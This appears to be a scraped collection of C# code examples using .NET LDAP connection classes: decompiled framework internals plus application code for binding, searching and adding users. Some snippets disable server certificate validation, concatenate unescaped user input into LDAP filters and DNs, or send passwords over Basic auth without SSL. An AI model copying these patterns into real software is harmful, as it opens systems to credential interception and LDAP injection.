Пример #1
0
        //private void trace(object[] data)
        //{
        //    try
        //    {
        //        System.Diagnostics.TraceSource trace = new System.Diagnostics.TraceSource("DataIntegratorTraceSource");

        //        trace.TraceData(System.Diagnostics.TraceEventType.Information, new Random().Next(), data);

        //        trace.Flush();
        //    }
        //    catch (Exception)
        //    {
        //        //If you want to handle this exception, add your exception handling code here, else you may uncomment the following line to throw this exception out.
        //        throw;
        //    }
        //}

        private System.DirectoryServices.Protocols.LdapConnection getLdapConnection(string serverAddresses, Authentication authentication, bool isAutoBind, int timeout)
        {
            System.DirectoryServices.Protocols.LdapConnection returnValue = null;

            if ((!String.IsNullOrEmpty(serverAddresses)) && (authentication != null))
            {
                string[] servers = serverAddresses.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries);

                System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(servers, false, false);

                NetworkCredential credential = new NetworkCredential(authentication.Identifier, authentication.Password);

                returnValue = new System.DirectoryServices.Protocols.LdapConnection(identifier, credential);

                returnValue.AutoBind = isAutoBind;

                returnValue.AuthType = this.getAuthType(authentication.Type);

                if (timeout > 0)
                {
                    returnValue.Timeout = TimeSpan.FromSeconds(timeout);
                }
            }

            return(returnValue);
        }
Пример #2
0
        public static SearchResponse GetSearchResponse(string searchFilter, string searchBase, int sizeLimit = 500)
        {
            //Establishing a Connection to the LDAP Server
            //var ldapident = new LdapDirectoryIdentifier(STR_LDAPURL, STR_LDAPPort);
            var ldapident = new LdapDirectoryIdentifier(STR_LDAPOLD, STR_LDAPPort);
            //LdapConnection lc = new LdapConnection(ldapident, null, AuthType.Basic);
            using (var lc = new LdapConnection(ldapident, new NetworkCredential(LDAPUser, LDAPPassword), AuthType.Basic))
            {
                lc.SessionOptions.ProtocolVersion = 3;
                lc.SessionOptions.SecureSocketLayer = true;
                lc.SessionOptions.VerifyServerCertificate = (connection, certificate) => true;
                lc.Bind();

                //Configure the Search Request to Query the UCD OpenLDAP Server's People Search Base for a Specific User ID or Mail ID and Return the Requested Attributes
                var attributesToReturn = new string[]
                                         {
                                             STR_UID, STR_EmployeeNumber, STR_Mail, STR_Telephone, STR_DisplayName, STR_CN,
                                             STR_SN, STR_GivenName, STR_PIDM
                                         };

                var sRequest = new SearchRequest(searchBase, searchFilter, SearchScope.Subtree, attributesToReturn) { SizeLimit = sizeLimit };

                //Send the Request and Load the Response
                var sResponse = (SearchResponse)lc.SendRequest(sRequest);

                return sResponse;
            }
        }
        public void AddServer(LdapDirectoryIdentifier identifier, int maxConnections, int protocolVersion = 3, bool ssl = false, double? timeout = null, NetworkCredential credentials = null, AuthType? authType = null)
        {
            var serverName = identifier.Servers[0];
            var factory = new LdapConnectionFactory(serverName);
            if (credentials != null)
                factory.AuthenticateAs(credentials);
            if (authType.HasValue)
                factory.AuthenticateBy(authType.Value);

            if (timeout.HasValue)
                factory.ConnectionTimeoutIn(timeout.Value);

            factory.ProtocolVersion(protocolVersion);

            if (identifier.FullyQualifiedDnsHostName)
                factory.ServerNameIsFullyQualified();

            if (identifier.Connectionless)
                factory.UseUdp();

            if (ssl) factory.UseSsl();

            factory.UsePort(identifier.PortNumber);

            _servers[serverName] = new ServerPoolMemberConnectionFactory(serverName, factory, maxConnections);
        }
        public Client(string username, string domain, string password, string url)
        {
            var credentials = new NetworkCredential(username, password, domain);
            var serverId = new LdapDirectoryIdentifier(url);

            connection = new LdapConnection(serverId, credentials);
            connection.Bind();      
        }
Пример #5
0
        private int InternalConnectToServer()
        {
            // In Linux you don't have to call Connect after calling init. You
            // directly call bind. However, we set the URI for the connection
            // here instead of during initialization because we need access to
            // the SessionOptions property to properly define it, which is not
            // available during init.
            Debug.Assert(!_ldapHandle.IsInvalid);

            string scheme = null;
            LdapDirectoryIdentifier directoryIdentifier = (LdapDirectoryIdentifier)_directoryIdentifier;

            if (directoryIdentifier.Connectionless)
            {
                scheme = "cldap://";
            }
            else if (SessionOptions.SecureSocketLayer)
            {
                scheme = "ldaps://";
            }
            else
            {
                scheme = "ldap://";
            }

            string uris = null;

            string[] servers = directoryIdentifier.Servers;
            if (servers != null && servers.Length != 0)
            {
                StringBuilder temp = new StringBuilder(200);
                for (int i = 0; i < servers.Length; i++)
                {
                    if (i != 0)
                    {
                        temp.Append(' ');
                    }
                    temp.Append(scheme);
                    temp.Append(servers[i]);
                    temp.Append(':');
                    temp.Append(directoryIdentifier.PortNumber);
                }
                if (temp.Length != 0)
                {
                    uris = temp.ToString();
                }
            }
            else
            {
                uris = $"{scheme}:{directoryIdentifier.PortNumber}";
            }

            return(LdapPal.SetStringOption(_ldapHandle, LdapOption.LDAP_OPT_URI, uris));
        }
Пример #6
0
        static void Main(string[] args)
        {
            // LdapTest <address> <domain> [<username> <password> [<domain>]]
              //              0        1          2          3           4
              var directory = new LdapDirectoryIdentifier(args[0]);
              var credential = args.Length > 4 ? new NetworkCredential(args[2], args[3], args[4])
            : args.Length > 2 ? new NetworkCredential(args[2], args[3])
            : new NetworkCredential();

              using (var connection = new LdapConnection(directory, credential))
              {
            //while (true)
            {
              var request = new SearchRequest(
            "DC=" + args[1].Replace(".", ",DC="),
            "(&(objectClass=organizationalPerson)(sAMAccountType=805306368))",
            System.DirectoryServices.Protocols.SearchScope.Subtree,
            new[] { "cn" }
              );

              try
              {
            var t = Stopwatch.StartNew();

            PageResultRequestControl pageRequestControl = new PageResultRequestControl(1000);

            // used to retrieve the cookie to send for the subsequent request
            PageResultResponseControl pageResponseControl;
            request.Controls.Add(pageRequestControl);

            while (true)
            {
              var response = (SearchResponse)connection.SendRequest(request);
              pageResponseControl = (PageResultResponseControl)response.Controls[0];
              if (pageResponseControl.Cookie.Length == 0)
                break;
              pageRequestControl.Cookie = pageResponseControl.Cookie;
              Console.WriteLine("{0}\t{1} entries: {2} - {3} in {4:F1}", DateTime.Now, response.Entries.Count,
                AttributeOf(response.Entries[0], "cn"),
                AttributeOf(response.Entries[response.Entries.Count - 1], "cn"),
                t.Elapsed.TotalSeconds
              );
            }
            t.Stop();
              }
              catch (Exception ex)
              {
            Console.WriteLine("{0}\tERRROR - {1}", DateTime.Now, ex.Message);
              }
              //Thread.Sleep(TimeSpan.FromSeconds(30));
            }
              }
        }
        private int ProcessQueryConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUserToken, ref IntPtr ConnectionToUse)
        {
            ConnectionToUse = IntPtr.Zero;
            string newDistinguishedName = null;

            if (this.callbackRoutine.QueryForConnection == null)
            {
                return(1);
            }
            if (NewDNPtr != IntPtr.Zero)
            {
                newDistinguishedName = Marshal.PtrToStringUni(NewDNPtr);
            }
            StringBuilder builder = new StringBuilder();

            builder.Append(HostName);
            builder.Append(":");
            builder.Append(PortNumber);
            LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(builder.ToString());
            NetworkCredential       credential = this.ProcessSecAuthIdentity(SecAuthIdentity);
            LdapConnection          target     = null;
            WeakReference           reference  = null;

            if (ReferralFromConnection != IntPtr.Zero)
            {
                lock (LdapConnection.objectLock)
                {
                    reference = (WeakReference)LdapConnection.handleTable[ReferralFromConnection];
                    if ((reference != null) && reference.IsAlive)
                    {
                        target = (LdapConnection)reference.Target;
                    }
                    else
                    {
                        if (reference != null)
                        {
                            LdapConnection.handleTable.Remove(ReferralFromConnection);
                        }
                        target = new LdapConnection((LdapDirectoryIdentifier)this.connection.Directory, this.connection.GetCredential(), this.connection.AuthType, ReferralFromConnection);
                        LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(target));
                    }
                }
            }
            long           currentUserToken = ((long)((ulong)CurrentUserToken.LowPart)) + (CurrentUserToken.HighPart << 0x20);
            LdapConnection connection2      = this.callbackRoutine.QueryForConnection(this.connection, target, newDistinguishedName, identifier, credential, currentUserToken);

            if (connection2 != null)
            {
                ConnectionToUse = connection2.ldapHandle;
            }
            return(0);
        }
Пример #8
0
        private int ProcessQueryConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUserToken, ref ConnectionHandle ConnectionToUse)
        {
            ConnectionToUse = null;
            string stringUni = null;

            if (this.callbackRoutine.QueryForConnection == null)
            {
                return(1);
            }
            else
            {
                if (NewDNPtr != (IntPtr)0)
                {
                    stringUni = Marshal.PtrToStringUni(NewDNPtr);
                }
                StringBuilder stringBuilder = new StringBuilder();
                stringBuilder.Append(HostName);
                stringBuilder.Append(":");
                stringBuilder.Append(PortNumber);
                LdapDirectoryIdentifier ldapDirectoryIdentifier = new LdapDirectoryIdentifier(stringBuilder.ToString());
                NetworkCredential       networkCredential       = this.ProcessSecAuthIdentity(SecAuthIdentity);
                LdapConnection          ldapConnection          = null;
                if (ReferralFromConnection != (IntPtr)0)
                {
                    lock (LdapConnection.objectLock)
                    {
                        WeakReference item = (WeakReference)LdapConnection.handleTable[(object)ReferralFromConnection];
                        if (item == null || !item.IsAlive)
                        {
                            if (item != null)
                            {
                                LdapConnection.handleTable.Remove(ReferralFromConnection);
                            }
                            ldapConnection = new LdapConnection((LdapDirectoryIdentifier)this.connection.Directory, this.connection.GetCredential(), this.connection.AuthType, ReferralFromConnection);
                            LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(ldapConnection));
                        }
                        else
                        {
                            ldapConnection = (LdapConnection)item.Target;
                        }
                    }
                }
                long           lowPart            = (long)CurrentUserToken.LowPart + ((long)CurrentUserToken.HighPart << 32);
                LdapConnection queryForConnection = this.callbackRoutine.QueryForConnection(this.connection, ldapConnection, stringUni, ldapDirectoryIdentifier, networkCredential, lowPart);
                if (queryForConnection != null)
                {
                    ConnectionToUse = queryForConnection.ldapHandle;
                }
                return(0);
            }
        }
 internal LdapConnection(LdapDirectoryIdentifier identifier, NetworkCredential credential, System.DirectoryServices.Protocols.AuthType authType, IntPtr handle)
 {
     this.connectionAuthType = System.DirectoryServices.Protocols.AuthType.Negotiate;
     this.ldapHandle = IntPtr.Zero;
     this.automaticBind = true;
     this.needDispose = true;
     base.directoryIdentifier = identifier;
     this.ldapHandle = handle;
     base.directoryCredential = credential;
     this.connectionAuthType = authType;
     this.options = new LdapSessionOptions(this);
     this.needDispose = false;
     this.clientCertificateRoutine = new QUERYCLIENTCERT(this.ProcessClientCertificate);
 }
        private void InternalInitConnectionHandle(string hostname)
        {
            LdapDirectoryIdentifier directoryIdentifier = _directoryIdentifier as LdapDirectoryIdentifier;

            // User wants to setup a connectionless session with server.
            if (directoryIdentifier.Connectionless)
            {
                _ldapHandle = new ConnectionHandle(Interop.Ldap.cldap_open(hostname, directoryIdentifier.PortNumber), _needDispose);
            }
            else
            {
                _ldapHandle = new ConnectionHandle(Interop.Ldap.ldap_init(hostname, directoryIdentifier.PortNumber), _needDispose);
            }
        }
        public string createUserLdap(User user)
        {
            ldapId = new LdapDirectoryIdentifier(HOST, PORT);
            network = new NetworkCredential(ADMIN, ADMIN_PASS);

            using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic))
            {
                try
                {
                    string[] objectClass = new string[] { "top", "inetOrgPerson", "organizationalPerson", "person" };

                    connection.SessionOptions.SecureSocketLayer = false;
                    connection.SessionOptions.ProtocolVersion = 3;

                    String dn = DN_CREATE.Replace("{0}", user.email);

                    DirectoryAttributeCollection collection = new DirectoryAttributeCollection() {
                        new DirectoryAttribute("objectclass", objectClass),
                        new DirectoryAttribute("uid",user.email),
                        new DirectoryAttribute("sn", user.lastName),
                        new DirectoryAttribute("cn", user.userName),
                        new DirectoryAttribute("employeeNumber", user.userId),
                        new DirectoryAttribute("departmentNumber", user.userGroup),
                        new DirectoryAttribute("userPassword", user.password)
                    };

                    AddRequest addMe = new AddRequest(dn, "inetOrgPerson");
                    addMe.Attributes.AddRange(collection);

                    connection.Bind();
                    connection.SendRequest(addMe);

                    return "OK";

                }
                catch (LdapException ex)
                {
                    throw new BusinessException("Ldap error: " + ex.Message);
                }
                catch (Exception e)
                {
                    throw new PlatformException("Ldap error: " + e.Message);
                }
            }
        }
Пример #12
0
        /// <summary>
        /// Autentica a un usuario contra openLDAP y verifica su membresia en alguno de los grupos
        /// </summary>
        /// <param name="nombreUsuario">Nombre de usuario</param>
        /// <param name="password">Contraseña del usuario</param>
        /// <returns>El grupo al que pertenece el usuario o null en caso que no esté registrado.</returns>
        public GrupoLDAP autenticarUsuario(string nombreUsuario, string password)
        {
            // Valida usuario y contraseña correctos
            LdapDirectoryIdentifier serverInfo = new LdapDirectoryIdentifier(Constantes.LDAP_SERVER);
            LdapConnection openLdap = new LdapConnection(Constantes.LDAP_SERVER);
            openLdap.Credential = new System.Net.NetworkCredential("uid=" + nombreUsuario + ",ou=people,dc=ic-itcr,dc=ac,dc=cr", password);
            openLdap.AuthType = AuthType.Basic;
            openLdap.SessionOptions.ProtocolVersion = 3;
            try
            {
                openLdap.Bind();
            }
            catch (Exception e)
            {
                openLdap.Dispose();
                _conexionBD = new ManejoBD();
                _conexionBD.insertarBitacoraError(e.ToString(), "");
                return null;
            }

            // Buscar grupo al que pertenezca el usuario
            foreach (GrupoLDAP grupo in _listadaGrupos.obtenerGruposLDAP())
            {
                SearchRequest searchRequest = new SearchRequest("cn=" + grupo.NombreGrupo + ",ou=group,dc=ic-itcr,dc=ac,dc=cr", "(memberUid=" + nombreUsuario + ")", System.DirectoryServices.Protocols.SearchScope.Subtree);
                try
                {
                    SearchResponse searchResponse = (SearchResponse)openLdap.SendRequest(searchRequest);
                    if (searchResponse.Entries.Count != 0)
                    {
                        openLdap.Dispose();
                        return grupo;
                    }
                }
                catch (Exception e)// En caso que algún grupo registrado en ListadoGruposLDAP.getGroupList() no exista.
                {
                    _conexionBD = new ManejoBD();
                    _conexionBD.insertarBitacoraError(e.ToString(), "Algún grupo registrado en ListadoGruposLDAP.getGroupList() no existe.");
                    continue;
                }
            }
            openLdap.Dispose();
            return null;
        }
        public bool CheckUserCredential(String UserName, String Password)
        {
            try
            {
                LdapDirectoryIdentifier ldi = new LdapDirectoryIdentifier(_ldapServers, _ldapPort, true, false);
                LdapConnection lc = new LdapConnection(ldi);

                lc.AuthType = AuthType.Kerberos;

                String ldapUser = String.Format("{0}@{1}", UserName, _userSuffix);
                lc.Credential = new NetworkCredential(ldapUser, Password);

                lc.Bind();
                return true;
            }
            catch (Exception e)
            {
                throw;
            }
        }
 public LdapConnection(LdapDirectoryIdentifier identifier, NetworkCredential credential, System.DirectoryServices.Protocols.AuthType authType)
 {
     this.connectionAuthType = System.DirectoryServices.Protocols.AuthType.Negotiate;
     this.ldapHandle = IntPtr.Zero;
     this.automaticBind = true;
     this.needDispose = true;
     this.fd = new GetLdapResponseCallback(this.ConstructResponse);
     base.directoryIdentifier = identifier;
     base.directoryCredential = (credential != null) ? new NetworkCredential(credential.UserName, credential.Password, credential.Domain) : null;
     this.connectionAuthType = authType;
     if ((authType < System.DirectoryServices.Protocols.AuthType.Anonymous) || (authType > System.DirectoryServices.Protocols.AuthType.Kerberos))
     {
         throw new InvalidEnumArgumentException("authType", (int) authType, typeof(System.DirectoryServices.Protocols.AuthType));
     }
     if (((this.AuthType == System.DirectoryServices.Protocols.AuthType.Anonymous) && (base.directoryCredential != null)) && (((base.directoryCredential.Password != null) && (base.directoryCredential.Password.Length != 0)) || ((base.directoryCredential.UserName != null) && (base.directoryCredential.UserName.Length != 0))))
     {
         throw new ArgumentException(System.DirectoryServices.Protocols.Res.GetString("InvalidAuthCredential"));
     }
     this.Init();
     this.options = new LdapSessionOptions(this);
     this.clientCertificateRoutine = new QUERYCLIENTCERT(this.ProcessClientCertificate);
 }
        private static bool ValidateLdapCredentials(string userName, string password, string domain)
        {
            LdapDirectoryIdentifier directoryIdentifier = new LdapDirectoryIdentifier(domain);
            var credentials = new NetworkCredential(userName, password, domain);
            using (var connection = new LdapConnection(directoryIdentifier, credentials, AuthType.Kerberos))
            {
                connection.SessionOptions.Sealing = true;
                connection.SessionOptions.Signing = true;

                try
                {
                    connection.Bind();
                }
                catch (LdapException ex)
                {
                    if (ex.ErrorCode == ErrorLoginFailure)
                    {
                        return false;
                    }
                    throw;
                }
            }
            return true;
        }
Пример #16
0
        public ActionResult SearchResultsRead([DataSourceRequest] DataSourceRequest request)
        {
            EmployeeSearchAdditionalData employeeSearchAdditionalData = new EmployeeSearchAdditionalData();

            TryUpdateModel(employeeSearchAdditionalData);
            int searchType = FindSearchType(employeeSearchAdditionalData);

            if (searchType == 0)
            {
                return null;
            }

            string domain = ConfigurationManager.AppSettings["LDAPDomain"];
            string serviceUser = ConfigurationManager.AppSettings["ServiceUser"];
            string servicePassword = ConfigurationManager.AppSettings["ServicePassword"];

            LdapDirectoryIdentifier ldapDirectoryIdentifier = new LdapDirectoryIdentifier(domain);
            NetworkCredential myCredentials = new NetworkCredential(serviceUser, servicePassword);

            LdapConnection connection = new LdapConnection(ldapDirectoryIdentifier, myCredentials, AuthType.Basic);
            connection.SessionOptions.ProtocolVersion = 3;
            DirectoryContext context = new DirectoryContext(connection);

            var orders = context.Query<User>();

            switch (searchType)
            {
                case 1:
                    orders = orders.Where(u => (u.FirstName.Contains(employeeSearchAdditionalData.Keyword)) || (u.LastName.Contains(employeeSearchAdditionalData.Keyword)));
                    break;
                case 2:
                    orders = orders.Where(u => (u.CountryCode == employeeSearchAdditionalData.CountryCode1));
                    break;
                case 3:
                    orders = orders.Where(u => ((u.FirstName.Contains(employeeSearchAdditionalData.Keyword)) || (u.LastName.Contains(employeeSearchAdditionalData.Keyword)))
                        && (u.CountryCode == employeeSearchAdditionalData.CountryCode1));
                    break;
                case 4:
                    if(!String.IsNullOrWhiteSpace(employeeSearchAdditionalData.FirstName))
                    {
                        orders = orders.Where(u => (u.FirstName.Contains(employeeSearchAdditionalData.FirstName)));
                    }
                    if (!String.IsNullOrWhiteSpace(employeeSearchAdditionalData.LastName))
                    {
                        orders = orders.Where(u => (u.LastName.Contains(employeeSearchAdditionalData.LastName)));
                    }
                    if (!String.IsNullOrWhiteSpace(employeeSearchAdditionalData.CountryCode2))
                    {
                        orders = orders.Where(u => (u.CountryCode == employeeSearchAdditionalData.CountryCode2));
                    }
                    if (!String.IsNullOrWhiteSpace(employeeSearchAdditionalData.Location))
                    {
                        orders = orders.Where(u => (u.Location == employeeSearchAdditionalData.Location));
                    }
                    if (!String.IsNullOrWhiteSpace(employeeSearchAdditionalData.PositionTitle))
                    {
                        orders = orders.Where(u => (u.PositionTitle.Contains(employeeSearchAdditionalData.PositionTitle)));
                    }
                    if (!String.IsNullOrWhiteSpace(employeeSearchAdditionalData.FunctionalArea))
                    {
                        orders = orders.Where(u => (u.FunctionalArea == employeeSearchAdditionalData.FunctionalArea));
                    }
                    break;

            }

            orders = orders.Where(c => (c.Status == "Actif"));

            var total = orders.Count();

            orders = orders.ApplyOrdersSorting(request.Groups, request.Sorts);

            var x = orders.ApplyOrdersPaging(request.Page, request.PageSize, total);

            var result = new DataSourceResult()
            {
                Data = x,
                Total = total
            };

            return Json(result);
        }
Пример #17
0
        private bool ProcessNotifyConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, IntPtr NewConnection, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUser, int ErrorCodeFromBind)
        {
            string NewDN = null;

            if (NewConnection != (IntPtr)0 && _callbackRoutine.NotifyNewConnection != null)
            {
                if (NewDNPtr != (IntPtr)0)
                {
                    NewDN = Marshal.PtrToStringUni(NewDNPtr);
                }
                StringBuilder target = new StringBuilder();
                target.Append(HostName);
                target.Append(":");
                target.Append(PortNumber);
                LdapDirectoryIdentifier identifier             = new LdapDirectoryIdentifier(target.ToString());
                NetworkCredential       cred                   = ProcessSecAuthIdentity(SecAuthIdentity);
                LdapConnection          tempNewConnection      = null;
                LdapConnection          tempReferralConnection = null;
                WeakReference           reference              = null;

                lock (LdapConnection.objectLock)
                {
                    // if referrafromconnection handle is valid
                    if (ReferralFromConnection != (IntPtr)0)
                    {
                        //check whether we have save it in the handle table before
                        reference = (WeakReference)(LdapConnection.handleTable[ReferralFromConnection]);
                        if (reference != null && reference.IsAlive && null != ((LdapConnection)reference.Target).ldapHandle)
                        {
                            // save this before and object has not been garbage collected yet.
                            tempReferralConnection = (LdapConnection)reference.Target;
                        }
                        else
                        {
                            // connection has been garbage collected, we need to remove this one
                            if (reference != null)
                            {
                                LdapConnection.handleTable.Remove(ReferralFromConnection);
                            }

                            // we don't have it yet, construct a new one
                            tempReferralConnection = new LdapConnection(((LdapDirectoryIdentifier)(_connection.Directory)), _connection.GetCredential(), _connection.AuthType, ReferralFromConnection);
                            // save it to the handle table
                            LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(tempReferralConnection));
                        }
                    }

                    if (NewConnection != (IntPtr)0)
                    {
                        //check whether we have save it in the handle table before
                        reference = (WeakReference)(LdapConnection.handleTable[NewConnection]);
                        if (reference != null && reference.IsAlive && null != ((LdapConnection)reference.Target).ldapHandle)
                        {
                            // save this before and object has not been garbage collected yet.
                            tempNewConnection = (LdapConnection)reference.Target;
                        }
                        else
                        {
                            // connection has been garbage collected, we need to remove this one
                            if (reference != null)
                            {
                                LdapConnection.handleTable.Remove(NewConnection);
                            }

                            // we don't have it yet, construct a new one
                            tempNewConnection = new LdapConnection(identifier, cred, _connection.AuthType, NewConnection);
                            // save it to the handle table
                            LdapConnection.handleTable.Add(NewConnection, new WeakReference(tempNewConnection));
                        }
                    }
                }
                long tokenValue = (long)((uint)CurrentUser.LowPart + (((long)CurrentUser.HighPart) << 32));

                bool value = _callbackRoutine.NotifyNewConnection(_connection, tempReferralConnection, NewDN, identifier, tempNewConnection, cred, tokenValue, ErrorCodeFromBind);

                if (value)
                {
                    value = AddLdapHandleRef(tempNewConnection);
                    if (value)
                    {
                        tempNewConnection.NeedDispose = true;
                    }
                }
                return(value);
            }
            else
            {
                return(false);
            }
        }
Пример #18
0
        private int ProcessQueryConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUserToken, ref IntPtr ConnectionToUse)
        {
            ConnectionToUse = IntPtr.Zero;
            string NewDN = null;

            // user must have registered callback function
            Debug.Assert(_callbackRoutine.QueryForConnection != null);

            // user registers the QUERYFORCONNECTION callback
            if (_callbackRoutine.QueryForConnection != null)
            {
                if (NewDNPtr != (IntPtr)0)
                {
                    NewDN = Marshal.PtrToStringUni(NewDNPtr);
                }
                StringBuilder target = new StringBuilder();
                target.Append(HostName);
                target.Append(":");
                target.Append(PortNumber);
                LdapDirectoryIdentifier identifier             = new LdapDirectoryIdentifier(target.ToString());
                NetworkCredential       cred                   = ProcessSecAuthIdentity(SecAuthIdentity);
                LdapConnection          tempReferralConnection = null;
                WeakReference           reference              = null;

                // if referrafromconnection handle is valid
                if (ReferralFromConnection != (IntPtr)0)
                {
                    lock (LdapConnection.objectLock)
                    {
                        //make sure first whether we have saved it in the handle table before
                        reference = (WeakReference)(LdapConnection.handleTable[ReferralFromConnection]);
                        if (reference != null && reference.IsAlive)
                        {
                            // save this before and object has not been garbage collected yet.
                            tempReferralConnection = (LdapConnection)reference.Target;
                        }
                        else
                        {
                            if (reference != null)
                            {
                                // connection has been garbage collected, we need to remove this one
                                LdapConnection.handleTable.Remove(ReferralFromConnection);
                            }
                            // we don't have it yet, construct a new one
                            tempReferralConnection = new LdapConnection(((LdapDirectoryIdentifier)(_connection.Directory)), _connection.GetCredential(), _connection.AuthType, ReferralFromConnection);

                            // save it to the handle table
                            LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(tempReferralConnection));
                        }
                    }
                }

                long tokenValue = (long)((uint)CurrentUserToken.LowPart + (((long)CurrentUserToken.HighPart) << 32));

                LdapConnection con = _callbackRoutine.QueryForConnection(_connection, tempReferralConnection, NewDN, identifier, cred, tokenValue);
                if (null != con && null != con.ldapHandle && !con.ldapHandle.IsInvalid)
                {
                    bool success = AddLdapHandleRef(con);
                    if (success)
                    {
                        ConnectionToUse = con.ldapHandle.DangerousGetHandle();
                    }
                }
                return(0);
            }
            else
            {
                // user does not take ownership of the connection
                return(1);
            }
        }
Пример #19
0
 public LdapConnection(LdapDirectoryIdentifier identifier)
 {
     throw new NotImplementedException();
 }
Пример #20
0
		public LdapConnection(LdapDirectoryIdentifier identifier, NetworkCredential credential, AuthType authType)
		{
			NetworkCredential networkCredential;
			this.connectionAuthType = AuthType.Negotiate;
			this.automaticBind = true;
			this.needDispose = true;
			this.fd = new GetLdapResponseCallback(this.ConstructResponse);
			this.directoryIdentifier = identifier;
			LdapConnection ldapConnection = this;
			if (credential != null)
			{
				networkCredential = new NetworkCredential(credential.UserName, credential.Password, credential.Domain);
			}
			else
			{
				networkCredential = null;
			}
			ldapConnection.directoryCredential = networkCredential;
			this.connectionAuthType = authType;
			if (authType < AuthType.Anonymous || authType > AuthType.Kerberos)
			{
				throw new InvalidEnumArgumentException("authType", (int)authType, typeof(AuthType));
			}
			else
			{
				if (this.AuthType != AuthType.Anonymous || this.directoryCredential == null || (this.directoryCredential.Password == null || this.directoryCredential.Password.Length == 0) && (this.directoryCredential.UserName == null || this.directoryCredential.UserName.Length == 0))
				{
					this.Init();
					this.options = new LdapSessionOptions(this);
					this.clientCertificateRoutine = new QUERYCLIENTCERT(this.ProcessClientCertificate);
					return;
				}
				else
				{
					throw new ArgumentException(Res.GetString("InvalidAuthCredential"));
				}
			}
		}
        private User queryLdap(string email)
        {
            string ldapFilter = "(objectClass=person)";
            string ldapTarget = DN.Replace("{0}", email);
            User user = new User();

            network = new NetworkCredential(ADMIN, ADMIN_PASS);
            ldapId = new LdapDirectoryIdentifier(HOST, PORT);

            using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic))
            {
                try
                {
                    connection.SessionOptions.SecureSocketLayer = false;
                    connection.SessionOptions.ProtocolVersion = 3;
                    connection.Bind();

                    SearchRequest searchRequest = new SearchRequest(ldapTarget, ldapFilter, SearchScope.Subtree, "*");
                    SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                    SearchResultEntry entry = searchResponse.Entries[0];

                    user.email = email;
                    user.userId = entry.Attributes["employeeNumber"][0].ToString();
                    user.userName = entry.Attributes["cn"][0].ToString();
                    user.lastName = entry.Attributes["sn"][0].ToString();
                    user.userGroup = entry.Attributes["departmentNumber"][0].ToString();

                    connection.Dispose();

                    return user;
                }
                catch (LdapException ex)
                {
                    throw new BusinessException(ex.Message);
                }
                catch (Exception e)
                {
                    throw new PlatformException(e.Message);
                }
            }
        }
Пример #22
0
		private bool ProcessNotifyConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, IntPtr NewConnection, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUser, int ErrorCodeFromBind)
		{
			WeakReference item;
			string stringUni = null;
			if (!(NewConnection != (IntPtr)0) || this.callbackRoutine.NotifyNewConnection == null)
			{
				return false;
			}
			else
			{
				if (NewDNPtr != (IntPtr)0)
				{
					stringUni = Marshal.PtrToStringUni(NewDNPtr);
				}
				StringBuilder stringBuilder = new StringBuilder();
				stringBuilder.Append(HostName);
				stringBuilder.Append(":");
				stringBuilder.Append(PortNumber);
				LdapDirectoryIdentifier ldapDirectoryIdentifier = new LdapDirectoryIdentifier(stringBuilder.ToString());
				NetworkCredential networkCredential = this.ProcessSecAuthIdentity(SecAuthIdentity);
				LdapConnection ldapConnection = null;
				LdapConnection target = null;
				lock (LdapConnection.objectLock)
				{
					if (ReferralFromConnection != (IntPtr)0)
					{
						item = (WeakReference)LdapConnection.handleTable[(object)ReferralFromConnection];
						if (item == null || !item.IsAlive)
						{
							if (item != null)
							{
								LdapConnection.handleTable.Remove(ReferralFromConnection);
							}
							target = new LdapConnection((LdapDirectoryIdentifier)this.connection.Directory, this.connection.GetCredential(), this.connection.AuthType, ReferralFromConnection);
							LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(target));
						}
						else
						{
							target = (LdapConnection)item.Target;
						}
					}
					if (NewConnection != (IntPtr)0)
					{
						item = (WeakReference)LdapConnection.handleTable[(object)NewConnection];
						if (item == null || !item.IsAlive)
						{
							if (item != null)
							{
								LdapConnection.handleTable.Remove(NewConnection);
							}
							ldapConnection = new LdapConnection(ldapDirectoryIdentifier, networkCredential, this.connection.AuthType, NewConnection);
							LdapConnection.handleTable.Add(NewConnection, new WeakReference(ldapConnection));
						}
						else
						{
							ldapConnection = (LdapConnection)item.Target;
						}
					}
				}
				long lowPart = (long)CurrentUser.LowPart + ((long)CurrentUser.HighPart << 32);
				bool errorCodeFromBind = this.callbackRoutine.NotifyNewConnection(this.connection, target, stringUni, ldapDirectoryIdentifier, ldapConnection, networkCredential, lowPart, ErrorCodeFromBind);
				if (errorCodeFromBind)
				{
					ldapConnection.needDispose = true;
				}
				return errorCodeFromBind;
			}
		}
Пример #23
0
        private bool ProcessNotifyConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, IntPtr NewConnection, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUser, int ErrorCodeFromBind)
        {
            string NewDN = null;
            if (NewConnection != (IntPtr)0 && _callbackRoutine.NotifyNewConnection != null)
            {
                if (NewDNPtr != (IntPtr)0)
                    NewDN = Marshal.PtrToStringUni(NewDNPtr);
